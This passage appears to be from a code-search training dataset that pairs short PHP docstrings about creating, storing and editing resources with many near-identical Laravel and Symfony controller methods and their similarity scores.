return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(GalleryRequest $request) { $gallery = new Gallery(); $gallery->title = $request->title; $gallery->description = $request->description; if ($request->image) { $gallery->image = $request->image; $path = $request->file('image')->store( 'public/GalleryImage' ); $gallery->path = ltrim($path, 'public/'); } $gallery->save(); return redirect()->route('root_path'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return 